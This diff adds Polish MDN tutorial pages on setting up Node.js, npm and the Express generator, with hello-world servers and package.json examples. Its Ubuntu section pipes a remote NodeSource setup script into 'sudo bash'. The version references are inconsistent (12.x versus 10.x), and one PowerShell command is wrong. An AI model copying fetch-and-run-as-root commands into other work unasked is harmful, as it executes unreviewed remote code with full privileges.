+title: Przygotowanie środowiska programisty Node
+slug: Learn/Server-side/Express_Nodejs/development_environment
+tags:
+ - Express
+ - Node
+ - Początkujący
+ - Wprowadzenie
+ - środowisko programisty
+translation_of: Learn/Server-side/Express_Nodejs/development_environment
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<p class="summary"></p>
+
+<p class="summary">Gdy już wiesz do czego służy Express, nadszedł czas, żeby pokazać Ci jak przygotować i przetestować środowisko programistyczne Node/Express w różnych systemach operacyjnych: Windows, Linux (Ubuntu) i macOS. Jakiegokolwiek systemu byś nie używał, w tym artykułe przygotujemy wszystko co Ci będzie potrzebne, by zacząć tworzyć aplikacje w Express.</p>
+
+<p class="summary"></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania:</th>
+ <td>
+ <p>Umiejętność pracy z terminalem lub w trybie wiersza poleceń. Umiejętność instalacji oprogramowania w systemie operacyjnym Twojego komputera, który będzie służył do programowania.</p>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Przygotowanie środowiska programisty do tworzenia aplikacji w Express(4.x) na Twoim komputerze.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Przegląd_środowiska_programisty_Express">Przegląd środowiska programisty Express</h2>
+
+<p>Instalacja środowisk <em>Node</em> i <em>Express</em> jest stosunkowo prosta. W tej sekcji dokonamy przeglądu wszystkich potrzebnych narzędzi, przedstawimy kilka prostych metod instalacji <em>Node </em>(<em>Express </em>także) w systemach operacyjnych Ubuntu, macOS i Windows. Na koniec przetestujemy przygotowane środowisko.</p>
+
+<h3 id="Co_to_jest_środowisko_programisty_Express">Co to jest środowisko programisty Express?</h3>
+
+<p>Środowisko do tworzenia aplikacji <em>Express </em>wymaga zainstalowania pakietu <em>Node.js</em>, menadżera pakietów <em>NPM</em> oraz opcjonalnie pakietu <em>Express Application Generator.</em></p>
+
+<p>Środowisko <em>Node </em>i menadżer <em>NPM </em>mogą zostać zainstalowane razem z różnych źódeł. Mogą być to pakiety binarne, pakiety instalacyjne, menadżery pakietów systemu operacyjnego lub  pliki źródłowe (co zostanie pokazane w następnych sekcjach). Sam <em>Express</em> jest instalowany przez <em>NPM</em>, podobnie jak pozostałe zależności aplikacji webowej (inne biblioteki w tym silnik szablonów, sterowniki baz danych, moduły warstwy pośredniej do autentykacji, obsługi plików statycznych itd.)</p>
+
+<p>Przy pomocy <em>NPM </em>możemy też zainstalować <em>Express Application Generator</em>, który jest bardzo użytecznym narzędziem do generowania szkieletu aplikacji webowej w architekturze MVC. Oczywiście jest to narzędzie opcjonalne i nie jest wymagane, aby tworzyć aplikacje webowe przy pomocy <em>Express</em> o podobnej architekturze. Będziemy  niego korzystać, ponieważ ułatwia trudne początki w pracy nad aplikacją i promuje modułową strukturę aplikacji.</p>
+
+<div class="note">
+<p><strong>Uwaga: </strong>W odróżnieniu od pozostalych frameworków, środowisko programisty nie zawiera oddzielnego serwera WWW do celów deweloperskich. W Node/Express aplikacja sama tworzy i uruchamia własny serwer internetowy!</p>
+</div>
+
+<p>Potrzebne będą także inne narzędzia, które są typowymi składnikami środowiska programisty, jak edytory tekstu czy środowisko IDE do edycji kodu, systemy kontroli wersji np. Git, dzięki którym możemy bezpiecznie zarządzać wersjami kodu. Zakładamy, że posiadasz już tego typu narzędzia zainstalowane (w szczególności edytor tekstu).</p>
+
+<h3 id="Jakie_systemy_operacyjne_są_wspierane">Jakie systemy operacyjne są wspierane?</h3>
+
+<p><em>Node </em>można uruchomić w systemie Windows, macOS, wszelkim odmianach systemu Linux, czy kontenerach typu Docker (pełna lista znajduje się na stronie Node.js <a href="https://nodejs.org/en/download/">Downloads</a>). Praktycznie każdy komputer ma wystarczającą wydajność do uruchomienia <em>Node</em> w trakcie tworzenia aplikacji. <em>Express </em>jest uruchamiane w środowisku <em>Node</em>, co oznacza, że może działać na dowolnej platformie obsługującej Node.</p>
+
+<p>W tym artykule wyjaśnimy proces instalacji w systemie Windows, maxOS i dystrybucji Ubuntu systemu Linux.</p>
+
+<h3 id="Z_jakie_wersji_NodeExpress_możemy_skorzystać">Z jakie wersji Node/Express możemy skorzystać?</h3>
+
+<p>Środowisko <em>Node </em>wystepuje w <a href="https://nodejs.org/en/blog/release/">wielu wersjach</a> - najnowsze zawierają poprawki błędów, wsparcie dla najnowszych wersji standardu ECMASript (JavaScript) oraz lepsze API. </p>
+
+<p>Zasadniczo powinieneś korzystać z najbardziej aktualnej wersji <em>LTS</em> (ang. <em>long-term supported</em> - o długim okresie wsparcia) ponieważ jest bardziej stabilna od bieżących wersji, przy zachowaniu w miarę aktualnej funkcjonalności (i jest nadal aktywnie utrzymywana). Z wersji najbardziej aktualnych możesz korzystać, gdy chcesz mieć dostęp do najnowszych funkcji, których brak w wersji <em>LTS</em>.</p>
+
+<p>W przypadku pakietu <em>Express </em>powinieneś zawsze korzystać z najnowszej wersji</p>
+
+<h3 id="A_co_z_bazami_i_pozostałymi_zależnościami">A co z bazami i pozostałymi zależnościami?</h3>
+
+<p>Pozostałe potrzebne elementy aplikacji, jak sterowniki baz danych, generatory widoków, moduły autentykacji itd. są importowane do środowiska aplikacji za pomocą menadżera <em>NPM</em>. Zajmiemy się nim w późniejszych artykułach dotyczących tworzenia aplikacji.</p>
+
+<h2 id="Instalacja_Node">Instalacja Node</h2>
+
+<p>W tej sekcji zajmiemy się najłatwiejszym sposobem instalacji Node.js w wersji <em>LTS </em>dla różnych systemów operacyjnych: Ubuntu Linux 18.04, maxOS i Windows 10. </p>
+
+<div class="note">
+<p><strong>Wskazówka: </strong>Jeśli korzystasz z innego systemu operacyjnego lub po prostu chcesz poznać inne możliwości  swojej platformy zobacz <a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org).</p>
+</div>
+
+<h3 id="macOS">macOS</h3>
+
+<p>Instalacja <em>Node </em>wraz z <em>NPM </em>w systemach Windows i macOS jest dość łatwa, wystarczy użyć instalatora:</p>
+
+<ol>
+ <li>Pobierz wymagany instalator:
+ <ol>
+ <li>wejdź na stronę <a href="https://nodejs.org/en/">https://nodejs.org/en/</a></li>
+ <li>Wybierz przycisk z napisem "Recommended for most users", którym pobierzesz najnowszą wersję <em>LTS</em>.</li>
+ </ol>
+ </li>
+ <li>Zainstaluj <em>Node </em>podwójnie klikając w pobrany plik i postępuj zgodnie z pojawiającymi instrukcjami.</li>
+</ol>
+
+<h3 id="Windows">Windows</h3>
+
+<p>Najbardziej wskazaną metoda instalacji <em>Node </em>i <em>NPM </em>w systemie Windows jest skorzystanie z możliwości podsystemu Linux v2 (WSL2), co wymaga zainstalowania  niejawnego  programu testów systemu Windows (zobacz <a href="https://docs.microsoft.com/windows/nodejs/setup-on-wsl2">Set up your Node.js development environment with WSL 2</a>).</p>
+
+<p>Po zainstalowaniu podsytemu Linux możesz zainstalować Ubuntu 18.04 jako system dla środowiska Node.js. Gdy już WSL2 i Ubuntu zostały zainstalowane, możesz kontynuować proces instalacji Node.js zgodnie z opisem w punkcie dotyczącym instalacji Node na Ubutu 18.04.</p>
+
+<h3 id="Ubuntu_18.04">Ubuntu 18.04</h3>
+
+<p>Najbardziej aktualną wersję <em>LTS </em>środowiska <em>Node </em>12.x najłatwiej jest zainstalować korzystając z <a href="https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions">menadżera pakietów</a> pobranego z binarnego repozytorium systemu Ubuntu. Można to zrobić dwoma poleceniami w Twoim terminalu:</p>
+
+<pre class="brush: bash notranslate">curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
+sudo apt-get install -y nodejs
+</pre>
+
+<div class="warning">
+<p><strong>Uwaga:</strong> Nie instaluj wprost z normalnych repozytoriów Ubuntu, ponieważ zawierają one bardzo stare wersje Node.</p>
+</div>
+
+<ol>
+</ol>
+
+<h3 id="Testowanie_Node.js_i_NPM_po_instalacji">Testowanie Node.js i NPM po instalacji</h3>
+
+<p>Testujemy poprawność instalacji wpisując polecenie "version" w wierszu poleceń. Jeśli instalacja się powiodła to zostanie wyśiwetlony numer aktualnej wersji:</p>
+
+<pre class="brush: bash notranslate">&gt; node -v
+v10.16.0</pre>
+
+<p>Razem ze środowiskiem <em>Node.js</em> powinien zostać zainstalowany także menadżer <em>NPM.</em> Poprawność instalacji możemy przetestować  ten sam sposób:</p>
+
+<pre class="brush: bash notranslate">&gt; npm -v
+6.9.0</pre>
+
+<p>Przeprowadzimy teraz test działania środowiska tworząc prosty serwer z użyciem wyłącznie pakietów znajdujących w <em>Node</em>, który wygeneruje dokument z napisem "Hello World":</p>
+
+<ol>
+ <li>Skopuj poniższy tekst do pliku o nazwie <strong>hellonode.js</strong>. Kod wykorzystuje wyłącznie funkcje <em>Node </em>(nie zawiera żadnych funkcji <em>Express</em>) i jest napisany z wykorzystaniem  składni ES6:
+
+ <pre class="brush: js notranslate">//Load HTTP module
+const http = require("http");
+const hostname = '127.0.0.1';
+const port = 3000;
+
+//Create HTTP server and listen on port 3000 for requests
+const server = http.createServer((req, res) =&gt; {
+
+  //Set the response HTTP header with HTTP status and Content type
+ res.statusCode = 200;
+ res.setHeader('Content-Type', 'text/plain');
+ res.end('Hello World\n');
+});
+
+//listen for request on port 3000, and as a callback function have the port listened on logged
+server.listen(port, hostname, () =&gt; {
+ console.log(`Server running at http://${hostname}:${port}/`);
+});
+</pre>
+
+ <p>W kodzie znajduje się import modułu "http", który to moduł jest wykorzystany do utworzenia serwera (<code>createServer()</code>) nasłuchującego na porcie 3000. Skrypt wysyła na konsolę komunikat z informacją pod jakim adresem URL działa nasz serwer. Funkcja tworząca serwer (<code>createServer()</code>) pobiera argument w postaci definicji funkcji zwrotnej, która zostanie wywołana w chwili odebrania żądania. W funkcji zwrotnej tworzymy prostą odpowiedź z kodem statusu HTTP 200 ("OK") i zwykłym tekstem "Hello World".</p>
+
+ <div class="note">
+ <p><strong>Uwaga:</strong>  Nie przejmuj się, jeśli nie rozumiesz tego kodu. Wszystko wyjaśnimy ze szczegółami, gdy zaczniemy korzystać z Express. </p>
+ </div>
+ </li>
+ <li>Uruchom serwer przechodząć najpierw w terminalu do katalogu z plikiem  <code>hellonode.js</code>  a następnie wydając polecenie <code>node</code> z nazwą skryptu:
+ <pre class="brush: bash notranslate">&gt;node hellonode.js
+Server running at http://127.0.0.1:3000/
+</pre>
+ </li>
+ <li>W przeglądarce wpisz URL <a href="http://127.0.0.1:3000">http://127.0.0.1:3000 </a>. Jeśli wszystko pracuje poprawnie w przegladarce powinieneś zobaczyć napis "Hello World".</li>
+</ol>
+
+<h2 id="Korzystanie_z_NPM">Korzystanie z NPM</h2>
+
+<p>Drugim ważnym narzędziem po samym <em>Node </em>jest menadżer pakietów <a href="https://docs.npmjs.com/">NPM</a>. Głównym jego zadaniem jest pobieranie pakietów (bibliotek JavaScript), których aplikacja potrzebuje w trakcie tworzenia, testowania i pracy w środowisku produkcyjnym. Możesz też go potrzebować do uruchamiania testów i narzędzi wykorzystywanych w trakcie programowania. </p>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Z punktu widzenia Node, Express jest tylko jednym z wielu pakietów, których potrzebujesz w swoim kodzie i musisz zainstalować przy pomocą NPM.</p>
+</div>
+
+<p>Możesz pobierać każdy z wymaganych modułów wpisując polecenia dla NPM do każdego modułu. W praktyce o wiele wygodniejszym rozwiązaniem jest zarządzanie zależnościami poprzez specjalny plik tekstowy o nazwie <a href="https://docs.npmjs.com/files/package.json">package.json</a>. W pliku tym znajduje się lista wszystkich potrzebnych modułów wymaganych przez tworzony pakiet JavaScript, a także nazwa pakietu, wersja, opis, początkowy plik do uruchomienia, zależności produkcyjne, zależności deweloperskie, wersja środowiska <em>Node</em>, w której pakiet może pracować itd. Plik <strong>package.json </strong>powinien zawierać wszystkie informacje wymagane przez <em>NPM</em>, dzięki którym możliwe jest pobranie i uruchomienie Twojej aplikacji (jeśli piszesz bibliotekę wykorzystywaną przez innych użytkowników musisz skorzystać z definicji opisującej załadowanie pakietu do repozytorium npm).</p>
+
+<h3 id="Dodawanie_zależności">Dodawanie zależności</h3>
+
+<p>W kolejnych krokach opiszemy jak możesz użyć <em>NPM</em> do pobrania pakietu, zapisania go w zależnościach projektu i oznaczenia go jako wymaganego przez naszą aplikację <em>Node</em>.</p>
+
+<div class="note">
+<p><strong>Uwaga: </strong>Pokażemy teraz instrukcje  pobrania i instalacji pakietu <em>Express. </em>Później poznamy jak ten pakiet i pozostałe  zostaną automatycznie wyspecyfikowane w projekcie, gdy utworzymy go modułem <em>Express Application Generator. </em>Ta sekcja jest po to, abyś mógł zrozumieć jak działa sam NPM i jakie korzyści daje wykorzystanie generatora aplikacji.</p>
+</div>
+
+<ol>
+ <li>Zaczniemy od utworzenia katalogu na Twoją nową aplikację.Potem musimy do niego wejść:
+ <pre class="brush: bash notranslate">mkdir myapp
+cd myapp</pre>
+ </li>
+ <li>
+ <p>Poleceniem <code>init</code> narzędzia npm utworzymy plik <strong>package.json</strong> dla naszej aplikacji. Pojawią się pytania o kilka istotnych rzeczy, jak nazwa i wersja Twojej aplikacji, nazwę pliku wejściowego aplikacji (domyślnie jest to <strong>index.js</strong>). Na razie zaakceptujemy ustawienia domyślne:</p>
+
+ <pre class="brush: bash notranslate">npm init</pre>
+
+ <p>Jeśli zajrzysz do pliku <strong>package.json</strong>, to zobaczysz zakceptowane ustawienia domyślne wraz z licencją na końcu.</p>
+
+ <pre class="brush: json notranslate">{
+ "name": "myapp",
+ "version": "1.0.0",
+ "description": "",
+ "main": "index.js",
+ "scripts": {
+ "test": "echo \"Error: no test specified\" &amp;&amp; exit 1"
+ },
+ "author": "",
+ "license": "ISC"
+}
+</pre>
+ </li>
+ <li>W kolejnym kroku zainstalujemy moduł <em>Expess </em>w katalogu <code>myapp</code> co spowoduje dodanie tego modułu jako zależności w naszym pliku <strong>package.json</strong>. </li>
+ <li>
+ <pre class="brush: bash notranslate">npm install express</pre>
+
+ <p>Możemy teraz zobaczyć dodaną na końcu w pliku <strong>package.json</strong> sekcję, która dołączy do naszej aplikacji pakiet Express.</p>
+
+ <pre class="brush: json notranslate">{
+ "name": "myapp",
+ "version": "1.0.0",
+ "description": "",
+ "main": "index.js",
+ "scripts": {
+ "test": "echo \"Error: no test specified\" &amp;&amp; exit 1"
+ },
+ "author": "",
+ "license": "ISC",
+<strong> "dependencies": {
+ "express": "^4.16.4"
+ }</strong>
+}
+</pre>
+ </li>
+ <li>Kolejnym krokiem po dołączeniu zależności do projektu, jest zaimportowanie pakietu w pliku źródłowym przy pomocy wywołania funkcji <code>require()</code>. Utwórz teraz plik <strong>index.js</strong> w katalogu aplikacji <code>myapp</code> i wpisz do niego poniższą zawartość:
+ <pre class="brush: js notranslate">const express = require('express')
+const app = express();
+
+app.get('/', (req, res) =&gt; {
+ res.send('Hello World!')
+});
+
+app.listen(8000, () =&gt; {
+ console.log('Example app listening on port 8000!')
+});
+</pre>
+
+ <p>Utworzony kod to odpowiednik aplikacji typu "Hello World!" w <em>Express</em>. Najpierw importujemy pakiet "express" funkcją <code>require()</code>, a następnie tworzymy serwer (<code>app</code>), który nasłuchuje żądań na porcie 8000 i wysyła komunikaty na konsolę z informacją o porcie pracującego serwera. Funkcja <code>app.get()</code> realizuje obsługę żądań wyłacznie typu GET skierowanych do głównej ścieżki URL aplikacji ('/'), na które generuje odpowiedź z komunikatem "Hello World!".</p>
+ </li>
+ <li>Możesz uruchomić serwer wywołując w terminalu polecenie node z parametrem w postaci nazwy naszego skryptu:
+ <pre class="brush: bash notranslate">&gt;node index.js
+Example app listening on port 8000
+</pre>
+ </li>
+ <li>Otwórz w przeglądarce stronę z URL (<a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>). Jeśli wszystko pracuje poprawnie powinieneś zobaczyć stronę z napisem "Hello World!".</li>
+</ol>
+
+<h3 id="Zależności_środowiska_deweloperskiego">Zależności środowiska deweloperskiego</h3>
+
+<p>Jeśli jakiś pakiet wykorzystujesz tylko podczas tworzenia aplikacji to powinieneś go dodać jako zależność deweloperską - "development dependency" (to spowoduje, że użytkownicy Twojej aplikacji (lub pakietu) nie będą instalować takiego pakietu w wersji produkcyjnej). Na przykład, gdy chcesz skorzystać z popularnej biblioteki <a href="http://eslint.org/">eslint</a> (jest to tzw. linter) to powinieneś wywołać NPM następująco:</p>
+
+<pre class="brush: bash notranslate"><code>npm install eslint --save-dev</code></pre>
+
+<p>W efekcie dostaniesz nowy wpis w pliku  <strong>package.json</strong> Twojej aplikacji:</p>
+
+<pre class="brush: js notranslate"> "devDependencies": {
+ "eslint": "^4.12.1"
+ }
+</pre>
+
+<div class="note">
+<p><strong>Uwaga:</strong> "<a href="https://en.wikipedia.org/wiki/Lint_(software)">Linter</a>y" to narzędzia do statycznej analizy kodu aplikacji służące do wykrywania i raportowania fragmentów, które nie są zgodne/lub są zgodne z dobrymi praktykami tworzenia oprogramowania.</p>
+</div>
+
+<h3 id="Uruchamianie_zadań">Uruchamianie zadań</h3>
+
+<p>Oprócz dodawania i pobierania zależności, w pliku <strong>package.json</strong> możesz też definiować tzw. nazwane skrypty. Przy pomocy NPM możesz je później uruchamiać poleceniem <a href="https://docs.npmjs.com/cli/run-script">run-script</a>. Jest to typowe rozwiązanie stosowane do automatyzacji takich zadań jak uruchamianie testów, fragmentów tworzonej aplikacji czy budowania ciągu uruchamianych narzędzi (np. uruchamianie narzędzi minimalizujących objętość kodu JavaScript, zmiany rozmiaru obrazów, LINT, analizatory kodu itp.).</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Możesz też korzystać z innych narzędzi do tego celu jak <a href="http://gulpjs.com/">Gulp</a> lub <a href="http://gruntjs.com/">Grunt</a> .</p>
+</div>
+
+<p>Przykładem może być skrypt do uruchomienia narzędzia eslint (jako zależność deweloperska) w postaci bloku dodanego do pliku <strong>package.json</strong> (zakładamy, że żródła naszej aplikacji znajdują się w katalogu /src/js):</p>
+
+<pre class="brush: js notranslate">"scripts": {
+ ...
+ "lint": "eslint src/js"
+  ...
+}
+</pre>
+
+<p>Wyjaśnijmy teraz co dodaliśmu w bloku "scripts": jest to polecenie, które musiałbyś wpisać w oknie terminala, żeby uruchomić <code>eslint</code> dla wszystkich plików JavaScript w katalogu <code>src/js</code>.  Aby móć później się odwołać do tego polecenia nazwaliśmy go skrótem <code>lint</code>. </p>
+
+<p>Teraz możemy uruchomić <em>eslint</em> wywołując NPM z naszym skrótem:</p>
+
+<pre class="brush: bash notranslate"><code>npm run-script lint
+# OR (using the alias)
+npm run lint</code>
+</pre>
+
+<p>Choć wydaje się, że wywołanie utworzonego skrótu nie jest krótsze od oryginalnego polecenia, to pamiętaj, że możesz w skryptach zawrzeć znacznie dłuższe polecenia, jak i całe ciągi poleceń. Możesz też stworzyć jeden skrypt, który uruchamia wszystkie testy.</p>
+
+<h2 id="Instalacja_generator_aplikacji_Express_-_Express_Application_Generator">Instalacja generator aplikacji Express - Express Application Generator</h2>
+
+<p><a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> to narzędzie do generowania szkieletu aplikacji Express. Zaczniemy od zainstalowania generatora przy pomocy NPM z flagą <code>-g</code>:</p>
+
+<pre class="notranslate"><code>npm install express-generator -g</code></pre>
+
+<div class="blockIndicator note">
+<p><strong>Uwaga: </strong>Może pojawić się konieczność wstawienia na początku wiersza polecenia <code>sudo</code> w systemach Ubuntu lub macOS. Flaga <code>-g</code> powoduje zainstalowanie pakietu w trybie globalnym, ktory pozwala na wywołanie go z dowolnego katalogu.</p>
+</div>
+
+<p>Żeby utworzyć aplikację "helloworld" z domyślnymi ustawieniami, wejdź do katalogu, w którym chcesz ją utworzyć i uruchom polecenie:</p>
+
+<pre class="brush: bash notranslate">express helloworld</pre>
+
+<div class="note">
+<p><strong>Uwaga:  </strong>Podczas instalacji możesz<strong> </strong>podać bibliotekę szablonów i wiele innych ustawień. Wpisz polecenie <code>help</code> żeby zobaczyć wszystkie możliwości:</p>
+
+<pre class="brush: bash notranslate">express --help
+</pre>
+</div>
+
+<p>NPM będzie tworzył nową aplikację Express w podfolderze bieżącego katalogu wypisując na konsoli komunikaty obrazujące postęp instalacji. Po zakończeniu zobaczysz komunikat z poleceniem instalującym zależności Node i uruchamiające aplikację.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Nowa aplikacja posiada własny plik package.json w swoim głównym katalogu. Możesz go otworzyć i sprawdzić zainstalowane zależności, w tym Express i bibliotekę szablonów Jade:</p>
+
+<pre class="brush: js notranslate">{
+  "name": "helloworld",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www"
+  },
+  "dependencies": {
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.6.9",
+    "express": "~4.16.0",
+    "http-errors": "~1.6.2",
+    "jade": "~1.11.0",
+    "morgan": "~1.9.0"
+  }
+}
+</pre>
+</div>
+
+<p>Zainstaluj wszystkie zależności do swojej aplikacji przy pomocy NPM:</p>
+
+<pre class="brush: bash notranslate">cd helloworld
+npm install
+</pre>
+
+<p>Następnie uruchom aplikację (polecenia różnią się nieco dla systemów Widnows i Lunux/macOS):</p>
+
+<pre class="brush: bash notranslate"># Run the helloworld on Windows with Command Prompt
+SET DEBUG=helloworld:* &amp; npm start
+
+# Run the helloworld on Windows with PowerShell
+SET DEBUG=helloworld:* | npm start
+
+# Run helloworld on Linux/macOS
+DEBUG=helloworld:* npm start
+</pre>
+
+<p>Polecenie DEBUG jest bardzo przydatne, gdyż uruchamia rejestrowanie zdarzeń, które możemy zobaczyć poniżej:</p>
+
+<pre class="brush: bash notranslate">&gt;SET DEBUG=helloworld:* &amp; npm start
+
+&gt; helloworld@0.0.0 start D:\Github\expresstests\helloworld
+&gt; node ./bin/www
+
+  helloworld:server Listening on port 3000 +0ms</pre>
+
+<p>Otwórz przeglądarkę i wpisz adres <a href="http://127.0.0.1:3000/">http://127.0.0.1:3000/</a>, a zobaczysz domyślną stronę powitalną aplikacji Express.</p>
+
+<p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p>
+
+<p>Więcej o wygenerowanej aplikacji dowiemy się w artykule o generowaniu szkieletu aplikacji.</p>
+
+<ul>
+</ul>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Masz przygotowane środowisko do tworzenia i uruchamiania aplikacji webowych w środowisku Node. Poznałeś działanie menadżera NPM, dowiedziałeś się jak zaimportować pakiet Express do swojej aplikacji i jak utworzyć szkielet aplikacji przy pomocy generatora aplikacji Express a potem go uruchomić.</p>
+
+<p>W następnym artykule zaczniemy prawdziwe szkolenie, w trakcie którego stworzymy kompletną aplikację webową korzystając z Node.js i dostępnych w nim narzędzi.</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="https://nodejs.org/en/download/">Downloads</a> page (nodejs.org)</li>
+ <li><a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org)</li>
+ <li><a href="http://expressjs.com/en/starter/installing.html">Installing Express</a> (expressjs.com)</li>
+ <li><a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> (expressjs.com)</li>
+ <li><a href="https://docs.microsoft.com/windows/nodejs/">Using Node.js with Windows subsystem for Linux</a> (docs.microsoft.com)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<h2 id="W_tym_module">W tym module</h2>
+
+<ul>
+ <li><a href="/pl/docs/Learn/Server-side/Express_Nodejs/Introduction">Wprowadzenie do Express/Node</a></li>
+ <li><a href="/pl/docs/Learn/Server-side/Express_Nodejs/development_environment">Przygotowanie środowiska programisty Node</a></li>
+ <li><a href="/pl/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Szkolenie z Express: aplikacja webowa Biblioteka </a></li>
+ <li><a href="/en-US/pl/Learn/Server-side/Express_Nodejs/skeleton_website">Szkolenie z Express - część 2: Tworzenie szkieletu aplikacji</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/pl/learn/server-side/express_nodejs/index.html b/files/pl/learn/server-side/express_nodejs/index.html
new file mode 100644
index 0000000000..3cb01fe7ae
--- /dev/null
+++ b/files/pl/learn/server-side/express_nodejs/index.html
@@ -0,0 +1,70 @@
+---
+title: Tworzenie aplikacji z użyciem framework'u Express (Node.js/JavaScript)
+slug: Learn/Server-side/Express_Nodejs
+tags:
+ - Express
+ - Express.js
+ - JavaScript
+ - Node
+ - Początkujący
+ - Wprowadzenie
+ - node.js
+translation_of: Learn/Server-side/Express_Nodejs
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Express to popularny framework webowy stworzony w języku JavaScript działający w środowisku uruchomieniowym Node.js. W tym module znajdziesz kluczowe zalety framework'u, opis jak możesz przygotować środowisko deweloperskie, typowe metody tworzenia aplikacji webowych oraz proces ich instalacji i uruchamiania.</p>
+
+<h2 id="Wymagania_wstępne">Wymagania wstępne</h2>
+
+<p>Zanim zaczniesz ten moduł powinieneś wiedzieć czym jest programowanie po stronie serwera i czym są frameworki webowe. Najlepiej, gdybyś przeczytał nasze wprowadzadzenie <a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a>. Znajomość JavaScript i podstawowych zasad programowania na pewno Ci pomogą zrozumieć ten materiał, ale nie są konieczne do zrozumienia ogólnej koncepcji tworzenia aplikacji webowych.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Wiele przydatnych materiałów do nauki JavaScript'u znajdziesz w rozdziale <em>the context of client-side development</em>: <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>, <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript Basics</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> (learning). Środowisko Node.js posługuje się językiem JavaScript, tym samym, który działa w Twojej przeglądarce, ale posiada dodatkowe API zapewniające pracę w środowisku poza przeglądarką  (np. daje możliwość uruchamiania serwerów HTTP, ma dostęp do systemu plikowego, ale brak mu API do pracy z przeglądarką i strukturą DOM).</p>
+
+<p>W tym przewodniku znajdziesz informacje o tym jak pracować z Node.js i Express, ale wiele wartościowych materiałów  jest w Internecie i książkach - część z nich jest podlinkowana w wątkach <a href="http://stackoverflow.com/a/5511507/894359">How do I get started with Node.js</a> (StackOverflow) i <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">What are the best resources for learning Node.js?</a> (Quora).</p>
+</div>
+
+<h2 id="Przewodnik">Przewodnik</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Wprowadzenie do Express/Node</a></dt>
+ <dd>Znajdziesz tutaj odpowiedzi na pytania "Czym jest Node?" i "Co to jest Express?", oraz zrozumiesz co czyni framework Express wyjątkowym. W dalszej części zostały przedstawione najistotniejsze możliwości wraz z głównymi elementami potrzebnymi do budowy aplikacji webowych w Express (choć jeszcze nie będziesz miał przygotowanego środowiska do tworzenia i testowania takich aplikacji).</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Przygotowanie środowiska programisty do pracy z Node (Express)</a></dt>
+ <dd>Gdy już wiesz jakie możliwości oferuje Express, pokażemy Ci jak przygotować środowisko deweloperskie Node/Express dla systemów Windows, Linux(Ubuntu) i Mac OS X. Bez względu na system, którego używasz, w tej części powinieneś poznać wszystko to co będzie Ci potrzebne do tworzenia aplikacji w Express.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Szkolenie z Express - część 1: aplikacja webowa "Biblioteka"</a></dt>
+ <dd>W pierwszym artykule naszego cyklu praktycznych tutoriali wyjaśnimy Ci czego się nauczysz podczas tworzenia przykładowej aplikacji internetowej "Biblioteka". W kolejnych artykułach będziemy nad nią pracować i ją rozwijać<span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Szkolenie z Express - część 2: Tworzymy szkielet witryny</a></dt>
+ <dd>Artykuł zawiera opis jak stworzyć "szkielet" projektu naszej witryny, który będziesz mógł wypełnić takimi elemenatami jak: ścieżki do podstron witryny, szablony/widoki i bazy danych.</dd>
+ <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Szkolenie z Express - część 3: Korzystamy z bazy danych (Mongoose)</a></dt>
